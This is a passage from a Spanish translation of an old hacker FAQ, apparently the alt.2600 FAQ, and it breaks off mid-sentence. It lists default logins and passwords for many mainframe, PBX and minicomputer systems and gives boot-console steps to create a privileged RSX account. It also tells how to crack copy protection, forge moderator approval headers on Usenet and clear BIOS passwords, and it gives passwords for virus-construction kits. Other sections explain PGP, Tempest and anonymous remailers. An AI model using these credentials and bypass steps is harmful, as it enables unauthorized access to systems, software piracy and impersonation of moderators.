OSL, PLEASE.

System75
~~~~~~~~
Login: root
INCORRECT LOGIN

Login: browse
Password:

Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]

Tops-10
~~~~~~~
NIH Timesharing

NIH Tri-SMP 7.02-FF 16:30:04 TTY11

system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN
.

VM/370
~~~~~~
VM/370
!

VM/ESA
~~~~~~
VM/ESA ONLINE

TBVM2 VM/ESA Rel 1.1 PUT 9200

Fill in your USERID and PASSWORD and press ENTER

(Su contraseña no aparecerá cuando lo teclea)
USERID ===>
PASSWORD ===>

COMMAND ===>

Xylogics Annex Communications Server

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc.
Checking authorization, Please wait... -
Annex username: TNO - Optional security check
Annex password: - Not always present

Permission granted
annex:

23. ¿CUALES SON LAS CUENTAS POR DEFECTO PARA XXX?

AIX
~~~
guest guest

AS/400
~~~~~~
qsecofr qsecofr /* master security officer */
qsysopr qsysopr /* system operator */
qpgmr qpgmr /* default programmer */

also

ibm password
ibm 2222
ibm service
qsecofr 1111111
qsecofr 2222222
qserv qserv
qsvr qsvr
secofr secofr
qsrv ibmce1

DECserver
~~~~~~~~~
ACCESS
SYSTEM

Dynix (The library software, not the UnixOS)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(Type 'later' to exit to the login prompt)
setup
library
circ
Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO MANAGER.SYS
HELLO MGR.SYS
HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP
HELLO OP.OPERATOR
MGR CAROLIAN
MGR CCC
MGR CNAS
MGR CONV
MGR COGNOS
OPERATOR COGNOS
MANAGER COGNOS
OPERATOR DISC
MGR HPDESK
MGR HPWORD
FIELD HPWORD
MGR HPOFFICE
SPOOLMAN HPOFFICE
ADVMAIL HPOFFICE
MAIL HPOFFICE
WP HPOFFICE
MANAGER HPOFFICE
MGR HPONLY
FIELD HPP187
MGR HPP187
MGR HPP189
MGR HPP196
MGR INTX3
MGR ITF3000
MANAGER ITF3000
MAIL MAIL
MGR NETBASE
MGR REGO
MGR RJE
MGR ROBELLE
MANAGER SECURITY
MGR SECURITY
FIELD SERVICE
MANAGER SYS
MGR SYS
PCUSER SYS
RSBCMON SYS
OPERATOR SYS
OPERATOR SYSTEM
FIELD SUPPORT
OPERATOR SUPPORT
MANAGER TCH
MAIL TELESUP
MANAGER TELESUP
MGR TELESUP
SYS TELESUP
MGE VESOFT
MGE VESOFT
MGR WORD
MGR XLSERVER

TRABAJOS COMUNES SON Pub, Sys, Data

Passwords comunes son HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote

Major BBS
~~~~~~~~~
Sysop Sysop

Mitel PBX
~~~~~~~~~
SYSTEM

NeXTSTEP
~~~~~~~~
root NeXT
signa signa
me (Rumored to be correct, not checked)

Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~
fax

PICK O/S
~~~~~~~~
DSA # Desquetop System Administrator
DS
DESQUETOP
PHANTOM

Prolog
~~~~~~
PBX PBX
NETWORK NETWORK
NETOP

Radio Shack Screen Savers

~~~~~~~~~~~~~~~~~~~~~~~~~
RS

Rolm
~~~~
CBX Defaults

op op
op operator
su super
admin pwp
eng engineer

PhoneMail Defaults

sysadmin sysadmin
tech tech
poll tech

RSX
~~~
SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)
1,1/system (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER

Default accounts for Micro/RSX:

MICRO/RSX

Alternativamente puede pulsar< CTRL-Z> cuando la secuencia de boot pregunta por la

fecha y crear una cuenta usando:

RUN ACNT
o RUN $ACNT

(Números mas bajos de 10{oct} son de privilegios)

Reboot y espera la pregunta dia/hora . pulsa ^C y a la entrada de MCR ,

escribe "abo at." Debe incluir el . punto!

If this works, type "acs lb0:/blks=1000" to get some swap space so the
new step won't wedge.

Escribe " run $acnt" y cambia la contraseña de cualquier cuenta con un grupo
número de 7 o menos.
Puede ser que el ^C no funcione. Prueba^ Z y ESC .
También prueba todas las 3 como terminaciones para horas válidas e invalidas.

Si ninguno de estos funciona, usa halt switch para detener el sistema,

sólo después de una fecha inválida. Busque un modo del usuario PSW 1[4-7 xxxx].
entonces pon 177777 en R6, cruza los dedos, escribe el drive preotegido
y continúa el sistema. Y esperemos que no se halla afianzado el sistema totalmente.

SGI Irix
~~~~~~~~
4DGifts
guest
demos
lp
nuucp
tour
tutor

System 75
~~~~~~~~~
bcim bcimpw
bciim bciimpw
bcms bcmspw, bcms
bcnas bcnspw
blue bluepw
browse looker, browsepw
craft crftpw, craftpw, crack
cust custpw
enquiry enquirypw
field support
inads indspw, inadspw, inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw, rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field

Taco Bell
~~~~~~~~~
rgm rollout
tacobell
Verifone Junior 2.05
~~~~~~~~~~~~~~~~~~~~
Default password: 166816

VMS
~~~
field service
systest utep

XON / XON Junior

~~~~~~~~~~~~~~~~
Default password: 166831

24. ¿Qué puerto es XXX?

El archivo /etc/services en la mayoria de maquinas Unix listan las asignaciones a

puertos
para esa máquina. Para una lista completa de asignaciones a puertos
, lea RFC (Request For Comments) 1700 "Assigned Numbers"

25. ¿Qué es un troyano/ gusano/ virus/ bomba lógica?

Este respuesta FAQ fue escrita por Theora:

Troyano:(Caballo de troya)

¿Recuerda el Caballo de Troya ? Unos tipos malos se escondieron dentro de él hasta

que podían
entrar en la ciudad a hacer sus maldades. Un programa de computadora troyano es
similar. Es un programa que hace una función no autorizada, oculto
dentro de un programa autorizado . Hace alguna otra cosa que lo que
le mandas hacer, usualmente algo malévolo (aunque no necesariamente!),
y es la intención tenida por el autor al hacerlo . Si no es
intencional, se llama un 'bug' o, en otros casos, una figura (feature) :) Algunos
programas que examinan virus descubren algunos troyanos. Algunos detectores no
detectan algunos troyanos.
Ningun detector de virus detectara todos los troyanos.

Virus:

Un virus es un programa independiente que se reproduce él mismo. Puede

unirse a otros programas, y crearía copias de él mismo . Dañaría o corupcionara datos
,cambiara datos o degrada la
ejecución de su sistema por utilizar recursos tal como
memoria o espacio de disco. Unos exploradores de virus descubren algunos virus.
Losexploradores de virus no descubren
todos los virus. Ningún explorador de virus puede protegercontra "cualquier y todos los
virus, conocidos y desconocidos,
ahora y siempre."

Gusano:

Hecho por el famoso Robert Morris, Jr .,los gusanos son programas que se reproducen
por copiarse asi mismos una y otra vez, sistema a sistema, usando recursos y a veces
aminorando la velocidad de los sistemas.
Usan las redes para extenderse , en muchos casos como los virus usan los archivos
para extenderse. Algunas personas dicen que
la solución a virus ygusanos es no tener ningun archivo o redes. Están probablemente
en lo cierto.

Bombas Lógicas:
Codigo que activará una forma particular de 'attack' (ataque) cuando una condicion
designada se da.
Por ejemplo una bomba lógica podría anulartodos los archivos del 5 de diciembre.
Diferente de un virus, una bomba lógica no hace
copias de si misma.

26. ¿Cómo puedo protegerme de virus y tal?

Esta respuesta FAQ la escribió Theora:

Los virus más comúnes son los que infectan el sector del boot. Puede ayudar a
protegerte contra esos protegiendo
contra la escritura lo que no necesite escribirse. Definitivamente guarde un juego de
floppys protegidos contra escritura
con los discos del sistema. Si tienes un virus, haz unas cuantas cosas muy simples.

Examine todos los archivos entrantes con una copia reciente de un explorador del virus
bueno.
Entre el mejor está F-Prot, Dr. Solomon Anti-virus Toolkit, y
Thunderbyte Anti-Virus. AVP es también un programa bueno. Usar más de
un explorador podría ser útil.

Nuevos virus salen a razón de aproximadamente 8 por día en estos momentos. Ningún
explorador puede con todos ellos ,
pero los cuatro mencionados aquí hacen el mejor trabajo en este momento. Cualquier
_buen_ explorador descubrirá la mayoría
de los virus comunes. Ningún explorador de virus descubrirá todos los virus.

Ahora mismo hay aproximadamente 5600 virus conocidos. Se escriben nuevos todo
el tiempo. Si usa un explorador para descubrir virus, necesita estar
seguro de que se pone frecuentemente al día. Si cuenta con blockers de la conducta,
usted
deba saber que se pueden desviar fácilmente tales programas por una técnica
conocida como tunnelling.

Querra usar tanto chequeadores de la integridad del sistema como exploradoresde

virus.Piense que éstos pueden suministrar
protección extra ,pero no le dan seguridad total
Podria usar un género particular de exploradores que se llaman exploradores
residentes.
Estos son programas que quedan residentes en la memoria de la computadoray
monitorzan la ejecucion del programa.
(y a veces el acceso alos archivos que contienen los programas). Si trata de ejecutar
un programa, el
explorador residente recibe el mando y lo examina primero para saber si hay virus.
Sólo si no se halla ningun virus, se permite procesar el programa.

La mayoria de exploradores de virus no lo protegerán contra muchos tipos de caballos

de troya y muy pocas bombas lógicas o gusanos.
Teoricamente, ellos pueden protegerle austed contra bombas lógicas y/ o gusanos,
solo con examinar cadenas de caracteres;
sin embargo ,esto se hace raramente.

La mejor, realmente la unica, manera de protegerte es saber qué tiene usted

en su sistema y asegurarse qué lo que tiene esta puesto allí por usted. Haga
frecuentes backups de todos los archivos importantes.
Guarde sus archivos de sistema DOS protegidos contra escritura. Proteja todos los
discos en los que no necesite escribir.
Si tiene un virus, no tenga pánico. Llame a la seccion de apoyo de la compañía que
suministra su producto de anti-virus si usted
no está seguro de qué hacer. Si la compañía que hizo susoftware de anti-virus de no
tiene un apoyo tecnico bueno,
cambiese de compañia.

La manera mejor asegurarse de que los virus no se extienden es no extenderlos.

Algunas personas hacen esto intentionalmente.

27. ¿Dónde puedo conseguir más información acerca de virus?

Este FAQ fue escrita por Theora:

Los libros que tratan de la programacion en lenguaje ensamblador explican el

(aburrido) aspecto de
la replicacion y tendra para mucho tiempo. Las cosas más excitantes/ interesantes
acerca de los virus es toda la controversia alrededor de ellos. Lenguaje libre,
legalidad, y [payloads] listo es mucho más interesante que el llamado "hallazgo
primero,
hallazgo próximo" . Puede conseguir información acerca de los aspectos técnicos
de virus, tan buena para ayudale si quiere pasar a hacer un virus, de
las virus-l FAQ , publicadas en comp.virus de vez en cuando. Puede leer también
varios debates en el mismo sitio. Hay newsgroups del tipo de alt.virus,
pero el nivel de especialización técnica es mínimo, y hasta ahora por lo menos
no ha habido mucha "ayuda" real por las personas quienes quieren - librarse -
de un virus.

Hay muchos expertos de virus. Para llegar a ser uno, sólo te lo tienes que llamar.Es
sólo una broma. La comprension de un Virus
conlleva el entender de programación, sistemas operativos, y su interacción. Entender
todo el negocio del 'Culto a los Virus'
requiere mucha discusion. Hay varios articulos buenos disponibles sobre virus, y el
Culto al Virus;
puede encontrar información en ellos casi en cualquier lista en el
virus-l FAQ. El sitio de FTP ftp.informatik.unihamburg.de es un bonito
sitio , fiable, para programas y texto.

28. ¿Qué es Cryptoxxxxxxx?

Este FAQ respuesta es de: Computer Security Basics

por Deborah Russell
y G.T. Gengemi Sr.

A un mensaje se le llama plaintext o cleartext. El proceso de

enmascarar un mensaje de tal manera que esconda su substancia se llama
encriptacion. Un mensaje encriptado se le llama ciphertext. El proceso
de volver el ciphertext a plaintext se llama descriptacion.

El arte y ciencia de guardar mensajes seguros se llama criptografía,

y es practicado por criptografos.El criptoanalisis es
practicado por criptoanalistas, el arte y ciencia de romper
el ciphertext, por ejmplo . mirar a traves de lo fingido ¿?. La rama de
las matemáticas que engloba ambos criptografía y criptonalisis se llama
criptologia, y es practicado por los llamados criptologos.

29. ¿Qué es PGP?

Este FAQ respuesta es de: PGP(tm) User's Guide

Volume I: Essential Topics
by Philip Zimmermann

Sinopsis: PGP (tm) utiliza criptografía de clave pública para proteger

el correo electrónico y los ficheros de datos. Comunícate con seguridad
con personas a las que nunca has visto, sin necesidad de canales
seguros para intercambiar claves. PGP es rápido y ofrece muchas
prestaciones, entre ellas una completa gestión de claves, firmas
digitales, compresión de datos y un buen diseño ergonómico.

Pretty Good(mr) Privacy (PGP), "intimidad bastante buena", de Phil's

Pretty Good Software, es una aplicación informática de criptografía de
alta seguridad para MSDOS, Unix, VAX/VMS y otros ordenadores. PGP
permite intercambiar ficheros y mensajes con intimidad, autenticación y
comodidad. 'Intimidad' quiere decir que sólo podrán leer el mensaje
aquellos a quienes va dirigido. 'Autenticación' quiere decir que los
mensajes que parecen ser de alguien sólo pueden venir de esa persona en
particular. 'Comodidad' quiere decir que la intimidad y la autenticación
se consiguen sin los problemas de gestión de claves asociados a otros
programas de criptografía convencional. No se necesitan canales seguros
para intercambiar claves entre usuarios, por lo que PGP resulta mucho
más fácil de utilizar. Esto se debe a que PGP está basado en una
potente nueva tecnología llamada criptografía de "clave pública".

PGP combina la comodidad del criptosistema de clave pública de

Rivest-Shamir-Adleman (RSA) con la velocidad de la criptografía
convencional, con resúmenes de mensajes para firmas digitales, con compresión de
datos antes de encriptar, con un buen diseño ergonómico y con una completa
gestión de claves. Por otra parte, PGP realiza las funciones de clave
pública con más rápidez que la mayoría de las demás implementaciones
informáticas. PGP es criptografía de clave pública para todos.

30. ¿Qué es el Tempest?

Tempest significa Transient Electromagnetic Pulse Surveillance

Technology.

Las computadoras y otros equipos electronicos producen interferencias a su

ambiente circundante. Observara esto al poner dos monitores de video juntos. Los
cuadros se comportarán erraticamente
hasta que usted los separe.

Porqué es importante para un observador la emisión de pulsos digitales (1s

y 0s) como los que usan los computadoras. El canal de estas radiaciones
puede ser de dos tipos, radió emisiones ( radiated emissions) y emisiones conduci-
das(conducted emissions).
Radió emisiones se tienen cuando los componentes en aparatos eléctricos
actuan como antenas. Emisiones conducidas se forman cuando la radiación
se conduce a lo largo de cables y alambres.

Aunque la mayoria del tiempo estas emisiones son simplemente molestias,

a veces pueden ser muy útiles. Suponga que queríamos ver qué en que proyecto
trabaja un
objetivo. Podríamos aparcar una camioneta de mudanzas fuera de su oficina y usar
un equipo sensible electrónico para intentar recoger y descifrar las
radió emisiones de su monitor de video. Estas emisiones normalmente
estan entre 55-245 Mhz y se puede recoger tan lejos como a un kilómetro
de distancia.

Un aparato monitoreado puede distinguir entre fuentes diferentes que emiten

radiación porque las fuentes que emiten la radiacion estan echas de distintos
elementos y así éste y otros factores acoplados varían
la frecuencia de emision. Por ejemplo componentes diferentes electrónicos en VDUs,
procesos diferentes industriales envuelto en reproducir el VDUs,
diferentes lineas de sincronia, etc. Por sincronizacion de nuestro rastreador con el
raster de los blancos podemos pasivamente dibuja lo que el observó en pantalla en
tiempo real.
Esta tecnología puede ser adquirida por cualquiera, no por agencias de gobierno
solamnete.

El blanco podría escudar las emisiones de su equipo o usar

equipo que no genere fuentes de emision. Sin enbargo, el equipo Tempest no es legal
para usarlo por civiles en los Estados Unidos.

Tempest es el programa del Gobierno US para la evaluación y endosado de

equipo electrónico que sea seguro para escuchar detrás de las puertas. La certificacion
Tempest
se refiere al equipo que ha pasado una fase de comprobación y
estar de acuerdo con las reglas de emisiones del gobierna especificadas en el
documento NACSIM 5100A (Clasificado). Este documento
fija los niveles de emanación del equipo del gobierno de los US que pueden tener sin
comprometer la información que procesa.

31. ¿Qué es un remailer anónimo?

Este FAQ fue escrito por Raph Levien:

Un remailer anónimo es un sistema de internet que le deja enviar e-mails o mensajes

de noticias a Usenet anonimamente.

Hay dos clases de remailers de extendido uso. El primero es el

estilo del anon.penet.fi, el segundo es el estilo del cypherpunk. El remailer
anon.penet.fi es inmensamente popular, con mas de 160.000 usuarios en su tiempo de
vida, y probablemente cientos de miles de mensajes por día. Su principal
ventaja es que es muy fácil usar. El mailers del cypherpunks, que
da mucha mayor garantía , llegara a ser más popular, cuando
halla más conocimiento de ellos.

El usuario del sistema de anon.penet.fi primero necesita hacer un id anónimo.

Se consigue éste o por enviarle correo a alguien quien ya tiene uno (por
ejemplo, por contestar a una noticia en Usenet), o enviando correo a
[email protected]. En estos casos, penet mandará por correo inverso el nuevo
id anonimo , que se parece a [email protected]. Si an123456 envía
correo a otro usuario del sistema, entonces ésto sera lo que pasa:

1. Se transporta el correo a anon.penet.fi, que reside en alguna parte en

la vecindad de Espoo, Finlandia.

2. Estos pasos son llevados a cabo por el funcionamiento del software en anon.penet.fi.
 Penet primero busca la direccion e-mail del remitente en su
banco de datos, entonces lo reemplaza con la codificación numérica. Toda otra
información acerca del remitente se quita .

3. Entonces, penet busca el número del destinatario en el mismo

banco de datos, y lo reemplaza con la direccion actual de e-mail

4. Finalmente, le envía el correo a la direccion e-mail real de el

destinatario.

Hay variaciones en este esquema, tal como publicar en Usenet (en que
el paso 3 se elimina ), pero ésa es la idea básica.

Donde anon.penet.fi usa un banco de datos confidencial para asignar los anonimos id's
a la direccion real de e-mail ,
los remailers de cypherpunks usan la criptografía para esconder lasidentidades reales.
Digamos que quiero enviarle un e-mail a una direccion e-mail real, o publicar en
Usenet, pero guardando mi identidad
completamente oculta.
Enviaria un remailer , y ésto es lo qué pasaria.

1. yo encriptaria el mensaje y la dirección del destinatario, usando una llave pública

del remailer de mi eleción.

2. le envío el e-mail al remailer.

3. Cuando el remailer tiene el correo, lo desencripta usando su llave privada

i, revelando el plaintext, o sea el mensaje, y la dirección del destinatario.

4. Se quita Toda la información acerca del remitente.

5. Finalmente, se lo envía a la direccion de e-mail del destinatario .

Si uno confia en el operador del remailer, éste metodo es bastante bueno. Sin
embargo el
punto fuerte del remailers de cypherpunks es que no_tienes_confianza en ningun
sistema ni individuo.
Así,las personas que quieren una garantía realusan una cadena de remailers. Si
cualquier remailer en el
"cadena" es honrado,con uno solo,entonces se asegura la privacidad del mensaje.

Para usar una cadena de remailers, yo primero tengo que preparar el mensaje, que
se anida dentro de capas múltiples de encriptacion, como una muñeca rusa matryosh-
ka.
Preparar tal mensaje es tedioso y es facil equivocarse,así muchas personas usan una
herramienta automatizada
como mi paquete de premail.
Asi , después de preparar el mensaje, se le envía al primer remailer en
la cadena, que corresponde a la capa externa de la encriptacion. Cada
paso por un remailer quita una capa de encriptacion y le envía el mensaje al
próximo, hasta que llega al remailer ultimo. A estas alturas, sólo queda la
capa más profunda de encriptacion. Se despoja esta capa ,
y revela el mensaje del plaintext y el destinatario por primera vez. En
este punto, se le envía al destinatario real su mensaje.

Remailers existen en muchas localidades. Un mensaje típico puede ir por

Canadá, Holanda, Berkeley, y Finlandia hasta llegar a su localidad final.

Aparte de la dificultad de preparar todos los mensajes encriptados

otro inconveniente del remailers de cypherpunk es que no hacen faciles las contesta-
ciones a correo anónimo.
Toda información acerca del remitente esquitada lejos, incluso cualquier género de
dirección del remitente.
Sin embargo los nuevos servidores con alias prometen cambiar esto.Para usar un
alias servidor, uno
crea una direccion de e-mail nueva la mia es [email protected]).El correo enviado a
esta dirección nueva será destrazado y reenviado a una dirección real.

Para hacer esto, uno primero encripta una vez su direccion de e-mail con múltiples
capas de Encriptacion. Entonces, usando un canal encriptado, uno envía la
dirección encriptada al alias servidor, con el apodo que le
guste. El alias servidor registra la dirección encriptada en el
banco de datos. El alias servidor entonces contesta al correo de la misma manera
como anon.penet.fi, sólo que el correo se le reenvía a la cadena de
remailers anónimos.

Para una garantía máxima , el usuario debe acordarse que para cada eslabón en
la cadena, el remailer agrega otra capa de encriptacion al mensaje
mientras quita una capa de la direccion de e-mail . Cuando el usuario finalmente
tiene el e-mail, este esta encriptado en capas múltiples. El matryoshka debe abrir una
muñeca cada vez hasta que el mensaje
del plaintext escondido dentro se revela .

Uno otro punto es que el remailers debe ser fiable para que todo
esto funcione. Ésto es mas verdad cuando se usa una cadena de remailers
--si cualquier uno de los remailers no trabaja, entonces el mensaje será
perdido. Es por esto por lo qué mantengo una lista de remailers fiable. Por
escoger un remailers fiable con que comenzar , hay una oportunidad buena para que el
mensaje llege finalmente.

32. ¿Cuales son las direcciones de algunos remailers anónimos?

El más popular y estable remailer anónimo es anon.penet.fi ,

llevado por Johan Helsingus. Para obtener un ID anonimo mandar un e-mail a
[email protected].

El servidor anon.penet.fi lo hace quitando cualquier título u

otra información de su origen verdadero. Debe hacer un esfuerzo
y tratar de omitir información detallada de su identidad dentro de tales mensajes
. Puede enviar mensajes
a:

[email protected]

Aquí tu te diriges a otro usuario anónimo y su mensaje E-Mail

aparecera originado por anon.penet.fi.

[email protected]
[email protected]

Si le envía un mensaje a esta dirección que se le asignará una identidad

(se supone que no tiene una). Puede confirmar también su
identidad aquí.

Puede ponerse también una contraseña, esta contraseña ayuda a

autentificar cualquier mensaje que envie. Se incluye esta contraseña
en sus mensajes salientes, para poner una contraseña envía un E-Mail a
[email protected] con su contraseña en el cuerpo de su mensaje

To: [email protected]
Subject:
TN0_rUlEz

Para más información en este servidor anónimo envíe correo a:

[email protected]

Un articulo anonimo en Usenet es mal visto por otros usuarios de grupos Usenet
expresando que sus opiniones no tienen sin valor. Ésto es porque creen
se usa el anonimato para escudarse de ataques de personas que piensen lo contrario ,
en cambio esto se puede usar para protegerse de prejuicios sociales (o personas que
informan de sus opiniones a sus superiores ).
También si piensa que ésta es una herramienta útil para esconderse contra las
autoridades entonces pienselo de nuevo,
como un caso famoso donde un juez mandó al administrador del servidor revelar la
identidad de unarticulo.

Para ver una lista comprensiva de remailers anónimos

[email protected] o
http://www.cs.berkeley.edu/~raph/remailer-list.html.

33. ¿Cómo derroto una Protección de Copia?

Hay dos métodos comúnes de derrotar una protección de copia. El primero

es usar un programa que quita la protección de la copia. Programas populares
como el CopyIIPC de Central Point Software y CopyWrite
de Quaid Software. El segundo método conlleva parchear la copia del
programa protegido. Por software popular podría localizar un parche que le funcione.
Puede aplicar el parche usando cualquier
editor hex,como un debug o el Peter Norton's DiskEdit. Si no puede, debetener un
sofware que lo parchee por usted.

El escribir un parche requiere un debugger,como Soft-Ice o Sourcer. También requiere

algo de conocimiento del idioma ensamblador.
Debes cargar el programa protegidobajo el debugger y mirar como funcionar el
mecanismo de protección.
Cuando esto se hace, se cambia esa porción del codigo. El codigose puede cambiar
de JE (Jump on Equal) o JNE (Jump On Not Equal)
aJMP (Jump Unconditionally). O tambien puede ser remplazado por una instruccion-
NOP (No Operation) .

34. ¿Qué es el 127.0.0.1?

127.0.0.1 es una conexión de la red de loopback. Si usted hace telnet, ftp, etc.
a él se conecta a su propia máquina .

35. ¿Cómo publico en un newsgroup moderado?

Los mensajes en Usenet constan de títulos (o cabeceras) del mensaje y cuerpos del
mensaje. El
título del mensaje le dice al software de noticias cómo procesar el mensaje.
Se pueden dividir los títulos en dos tipos, requiridos y opcionales.Titulos requiridos son
"From" y "Newsgroups."
Sin los titulos requeridos u obligatorios, no se anunciará su mensaje.

Uno de los títulos optativos son los titulos "Approved" .Para anunciar en un
newsgroup moderado, simplemente agrega una linea de título Approved a su
cabecera del mensaje.La linea de título debe contener el e-mail de los moderadores del
newsgroup a que se dirige.
para ver el formato de esta linea en su newsgroup objetivo , guarde un mensaje del
newsgroup y entonces mirelo usando
cualquier editor del texto.

Una linea de Approved debe parecerse a ésta:

Approved: [email protected]

No puede haber una línea de espacios en blanco en el título del mensaje. Una línea
del espacios en blanco causa que
cualquier porción del título después de la línea en blanco esinterpretada como parte del
cuerpo del mensaje.

Para mas informacion leer RFC 1036:

Standard for Interchange ofUSENET messages.
36. ¿Cómo anuncio en Usenet via e-mail?

Por una pasarela e-mail-> Usenet . Envíele un mensajes de e-mail a un

@. Por ejemplo para anunciar en alt.2600 por
nic.funet.fi,envie su correo a [email protected].

Estas son algunas pasarelas e-mail->Usenet :

[email protected]
[email protected]
[email protected]
[email protected]
[email protected]

37. ¿Cómo derroto a una contraseña BIOS?

Ésto depende de qué BIOS tenga la máquina .Las BIOS mas comunes inclullen AMI,
Award, IBM and Phoenix. Existen numerosas otras BIOS , pero éstas son
las más comunes.

Algunas BIOS requieren una contraseña de entrada antes de que el sistema

pueda arrancar. Otras BIOS requieren la contraseña antes de que se acceda al BIOS
setup.

Cada BIOS debe guardar esta información de la contraseña en alguna parte. Si puede
acceder a la máquina después de que se
halla inicializado con éxito ( si algun otro a arrancado la maquina con una contraseña
valida por ejemplo ), usted
podria ver la contraseña. Debe saber cual es la direccion de memoria
donde se guarda la contraseña, y el formato en que la contraseña es
guardada . O, debe tener un programa que sabe estas cosas.

El programa mas comun para atacar contraseñas BIOS es por Ami BIOS. Algunos
programas de ataque a las contraseñas le devolveran la contraseña AMI BIOS en texto
sin codificar , otros se
la devolverán en codificaciones ASCII , otros en scan codes. Ésto es dependiente no
sólo del progama de
ataque a la contraseña,sino también de la versión de Ami BIOS.

Para obtener Ami BIOS password attackers ,hacer un ftp a oak.oakland.edu

/simtel/msdos/sysutil/.

Si no puede acceder a la máquina después de que se halla encendido, es

todavía posible pasar la contraseña. La contraseña se guarda en memoria CMOS
que se mantiene mientras apaga el PC con una pequeña
batería, que se fija a la placa madre . Si quita ésta
batería, se perderá toda la informacion del CMOS . Necesitará re-entrar
la informacion correcta en el CMOS para usar la máquina. Los dueños de las
máquinas
o los usuarios se alarmaran cuando descubran que se a anulado la contraseña del
BIOS .

En algunas placas madre se suelda la batería lo que dificulta quitar la bateria.Si éste es
el caso, tiene otra alternativa.
En alguna parte en la placa madre debe hallar un jumper quelimpie la contraseña
BIOS. Si tiene la documentacion de
su motherboard , sabrá donde esta ese jumper . Si no, el jumper puede estar
etiquetado en la placa madre.
Si no es ninguno de éstos casos, podría suponer cual es el jumper correcto. Este
jumper está de pie usualmente,
cerca de la batería.

38.Cual es el password para ?

Esta respuesta FAQ fue escrita por crypt

Magazine Password
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~
VLAD Magazine Issue #1 vlad
VLAD Magazine Issue #2 vx
VLAD Magazine Issue #3 virus
NuKE InfoJournal Issue #2 514738
NuKE InfoJournal Issue #3 power
NuKE InfoJournal Issue #4 party

Program
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~
Sphere Hacker 1.40 & 1.41 theozone
Virus Creation 2000 high level
Virus Construction Lab Chiba City
Ejecutor Virus Creator EJECUTOR
Biological Warfare v0.90 lo tek
Biological Warfare v1.00 freak

39. ¿Hay alguna espereranza de un decompilador que convertiría un programa

ejecutable
en codigo C/ C++ ?
(No lo he traducido porque es un articulo de opinion , interesante eso si pero solo como
curiosidad)
This FAQ answer is an excerpt from SNIPPETS by Bob Stout.

Don't hold your breath. Think about it... For a decompiler to work
properly, either 1) every compiler would have to generate substantially
identical code, even with full optimization turned on, or 2) it would
have to recognize the individual output of every compiler's code
generator.

If the first case were to be correct, there would be no more need for
compiler benchmarks since every one would work the same. For the second
case to be true would require in immensely complex program that had to
change with every new compiler release.

OK, so what about specific decompilers for specific compilers - say a

decompiler designed to only work on code generated by, say, BC++ 4.5?
This gets us right back to the optimization issue. Code written for
clarity and understandability is often inefficient. Code written for
maximum performance (speed or size) is often cryptic (at best!) Add to
this the fact that all modern compilers have a multitude of optimization
switches to control which optimization techniques to enable and which to
avoid. The bottom line is that, for a reasonably large, complex source
module, you can get the compiler to produce a number of different object
modules simply by changing your optimization switches, so your
decompiler will also have to be a deoptimizer which can automagically
recognize which optimization strategies were enabled at compile time.

OK, let's simplify further and specify that you only want to support one
specific compiler and you want to decompile to the most logical source
code without trying to interpret the optimization. What then? A good
optimizer can and will substantially rewrite the internals of your code,
so what you get out of your decompiler will be, not only cryptic, but in
many cases, riddled with goto statements and other no-no's of good
coding practice. At this point, you have decompiled source, but what
good is it?

Also note carefully my reference to source modules. One characteristic

of C is that it becomes largely unreadable unless broken into easily
maintainable source modules (.C files). How will the decompiler deal
with that? It could either try to decompile the whole program into some
mammoth main() function, losing all modularity, or it could try to place
each called function into its own file. The first way would generate
unusable chaos and the second would run into problems where the original
source hade files with multiple functions using static data and/or one
or more functions calling one or more static functions. A decompiler
could make static data and/or functions global but only at the expense
or readability (which would already be unacceptable).

Finally, remember that commercial applications often code the most

difficult or time-critical functions in assembler which could prove
almost impossible to decompile into a C equivalent.

Like I said, don't hold your breath. As technology improves to where

decompilers may become more feasible, optimizers and languages (C++, for
example, would be a significantly tougher language to decompile than C)
also conspire to make them less likely.
For years Unix applications have been distributed in shrouded source
form (machine but not human readable -- all comments and whitespace
removed, variables names all in the form OOIIOIOI, etc.), which has been
a quite adequate means of protecting the author's rights. It's very
unlikely that decompiler output would even be as readable as shrouded
source.

40. ¿Cómo hace el trabajo de encriptacion de la contraseña el MS-Windows?

Este FAQ Fue escrito por Wayne Hoxsie

La opción de la contraseña en MS Win 3,1 se derrota fácilmente, pero hay

algunos de nosotros quienes verdaderamente queremos saber cómo MS hace ésto.
Hay muchas
razones porqué conocer la contraseña real puede ser útil. Suponga un
sysamin usado la misma contraseña en las windows screen saver y en su cuenta root
en un sistema unix.

Sin embargo, intentaré relevar qué he aprendido acerca de este algoritmo.

Describiré el proceso que comienza después de que ha entrado la contraseña

y pulsado el boton OK.

Asumire que todo el mundo (por lo menos estos interesados) saben como funciona el
operador XOR.

Primero, se guarda la longitud de la contraseña. Llamaremos a este 'len.' Nosotros

moveremos los carácteres del cordón de entrada en otro cordón tal y como
son encriptadas. Llamaremos al que entro originalmente en la contraseña
'plaintext' y el cordón encriptado (cordones--hay dos pasos)
'hash1' y 'hash2.' La posición en el plaintext es importante durante
el proceso , para el cual nos referiremos a este como 'pos.' Después de cada paso del
proceso de encriptado ,
se verifica cada caracter contra un juego de carácteres
que windows considera 'especial.' Estos carácteres son '[] = ' y cualquier
carácter menor que ASCII 33 o mayor que ASCII 126. Me referiré a éste
funcionamiento de verificacion como 'is_ok.' Todo esta basado en el cero (zero-based)
(por ejemplo. un
8 en el caracter de la contraseña es considerado como los carácteres 0 al 7).

Ahora, el primer carácter de 'plaintext' es xor con 'len' entonces alimentó con el a
'is_ok.' si el carácter no es válido, es reemplazado por el original
